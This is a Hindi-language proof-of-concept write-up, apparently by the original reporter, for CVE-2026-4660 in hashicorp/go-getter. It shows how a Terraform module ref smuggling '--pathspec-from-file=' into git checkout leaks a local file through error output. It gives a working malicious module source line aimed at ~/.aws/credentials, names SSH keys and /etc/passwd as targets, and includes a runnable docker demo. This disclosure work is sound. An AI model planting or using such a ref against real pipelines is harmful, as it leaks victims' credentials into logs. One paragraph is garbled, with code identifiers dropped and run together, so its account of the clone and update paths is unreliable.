
CVE-2026-4660 के लिए PoC: hashicorp/go-getter में git checkout के माध्यम से मनमाना फ़ाइल पढ़ना
CVE-2026-4660 के लिए प्रूफ ऑफ कॉन्सेप्ट (HashiCorp सलाह) hashicorp/go-getter में। मैं मूल रिपोर्टर हूँ।
एक हमलावर --pathspec-from-file=/path/to/file के ref के साथ एक Terraform मॉड्यूल प्रकाशित करता है। जब पीड़ित terraform init चलाता है, go-getter रिपॉजिटरी को क्लोन करता है और git checkout --pathspec-from-file=/path/to/file को कॉल करता है। Git लक्ष्य फ़ाइल को पंक्ति दर पंक्ति पढ़ता है, प्रत्येक पंक्ति पर pathspec के रूप में विफल होता है, और सामग्री को अपने त्रुटि आउटपुट में डंप करता है। दुर्भावनापूर्ण ref हमलावर के मॉड्यूल स्रोत के अंदर है, पीड़ित के अपने कॉन्फ़िगरेशन में नहीं। terraform init मॉड्यूल डाउनलोड त्रुटि के साथ विफल होता है; क्रेडेंशियल मान आउटपुट में git pathspec त्रुटियों में एम्बेडेड दिखाई देते हैं। किसी apply की आवश्यकता नहीं है।
यह भेद्यता go-getter लाइब्रेरी में दो कोड पथों में मौजूद है। clone() तब लिया जाता है जब गंतव्य निर्देशिका अनुपस्थित होती है; तब लिया जाता है जब वह मौजूद होती है। दोनों एक ही को कॉल करते हैं। त्रुटि पर को स्थगित (defer) करता है; नहीं करता, इसलिए निर्देशिका विफल checkout के बाद भी बनी रहती है।
update()checkout()clone()os.RemoveAll(dst)update()Terraform का मॉड्यूल इंस्टॉलर (initwd/module_install.go:251) go-getter को कॉल करने से पहले हमेशा गंतव्य पर os.RemoveAll को कॉल करता है, इसलिए terraform हमेशा clone() को ट्रिगर करता है। Packer, Nomad, और कोई भी उपकरण जो go-getter के API को सीधे पहले से मौजूद निर्देशिका के विरुद्ध कॉल करता है, इसके बजाय update() को ट्रिगर करेगा। PoC दोनों पथों को प्रदर्शित करता है।
go-getter का उपयोग करने वाले सभी उपकरणों को प्रभावित करता है: उदाहरणों में Terraform, Nomad, Packer, Waypoint शामिल हैं।
इसमें ठीक किया गया: go-getter v1.8.6 (2026-04-10 तक कोई Terraform रिलीज़ अभी तक इस फिक्स को शामिल नहीं करती) गंभीरता: 7.5 उच्च (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
हमलावर GitHub पर एक वैध दिखने वाला Terraform मॉड्यूल प्रकाशित करता है, उदाहरण के लिए वास्तविक, कार्यशील कोड वाला एक AWS VPC मॉड्यूल। अंदर छिपा हुआ, एक सबमॉड्यूल स्रोत दुर्भावनापूर्ण ref के साथ हमलावर-नियंत्रित दूसरे रिपॉजिटरी की ओर इशारा करता है:
# हमलावर के मॉड्यूल के अंदर; पीड़ित यह फ़ाइल कभी नहीं पढ़ता
module "internal" {
source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials"
}
पीड़ित शीर्ष-स्तरीय मॉड्यूल को अपने कॉन्फ़िगरेशन में जोड़ता है:
module "vpc" {
source = "git::https://github.com/attacker/tf-aws-vpc.git"
}
वे terraform init चलाते हैं, या तो स्थानीय रूप से या CI में। go-getter शीर्ष-स्तरीय मॉड्यूल को क्लोन करता है, नेस्टेड सबमॉड्यूल ढूंढता है, उसे भी क्लोन करता है, और git checkout --pathspec-from-file=/home/runner/.aws/credentials को कॉल करता है। Git फ़ाइल को पढ़ता है और सामग्री terraform के त्रुटि आउटपुट में दिखाई देती है:
│ Error: Failed to download module
│
│ error: pathspec 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' did not match any file(s) known to git
│ error: pathspec 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' did not match any file(s) known to git
नोट: [default] को terraform के colorstring रेंडरर द्वारा -no-color के साथ भी हटा दिया जाता है (स्टाइल रीसेट टोकन के रूप में व्याख्या किया गया) और वास्तविक आउटपुट में एक खाली pathspec '' के रूप में दिखाई देता है। PoC में कच्चा git checkout आउटपुट असंशोधित सामग्री दिखाता है।
हमला क्रेडेंशियल फ़ाइलों तक सीमित नहीं है। प्रक्रिया द्वारा पठनीय कोई भी फ़ाइल लक्ष्य है: /etc/passwd, CI टोकन फ़ाइलें, एप्लिकेशन कॉन्फ़िगरेशन, रनर से सुलभ कुछ भी। PoC ~/.aws/credentials, ~/.ssh/id_rsa, और /etc/passwd प्रदर्शित करता है।
GitHub Actions, CircleCI, या किसी भी CI सिस्टम में जो terraform init आउटपुट को लॉग करता है, वे लॉग रिपॉजिटरी एक्सेस वाले सभी लोगों के लिए पठनीय होते हैं, और अक्सर बिना समाप्ति के लॉग एग्रीगेशन (Datadog, Splunk, आदि) में निर्यात किए जाते हैं। पीड़ित के AWS क्रेडेंशियल, SSH कुंजियाँ, या रनर द्वारा पठनीय कोई भी अन्य फ़ाइल लॉग इतिहास में समाप्त हो जाती है। पीड़ित को एक विफल बिल्ड दिखाई देता है; क्रेडेंशियल मान git त्रुटि जैसा दिखने वाले में दबे हुए होते हैं।
docker compose up --build
दो कंटेनर: gitserver हमलावर के बेयर git रिपॉजिटरी को HTTP पर सर्व करता है, poc runner उपयोगकर्ता के रूप में ~/.aws/credentials, ~/.ssh/id_rsa, और एक पठनीय /etc/passwd के साथ नकली क्रेडेंशियल के साथ चलता है। चरण 1 terraform init चलाता है और clone() पथ प्रदर्शित करता है; एक सेंटिनल जांच पुष्टि करती है कि मॉड्यूल निर्देशिकाएँ विफलता पर clone() के स्थगित RemoveAll द्वारा हटा दी जाती हैं। चरण 2 सीधे go-getter के update() कॉल अनुक्रम (fetch + checkout) का अभ्यास करता है ताकि यह दिखाया जा सके कि वही checkout() भेद्यता सक्रिय होती है और निर्देशिका बनी रहती है, जो update() में RemoveAll defer की अनुपस्थिति के अनुरूप है। किसी इंटरैक्शन की आवश्यकता नहीं है।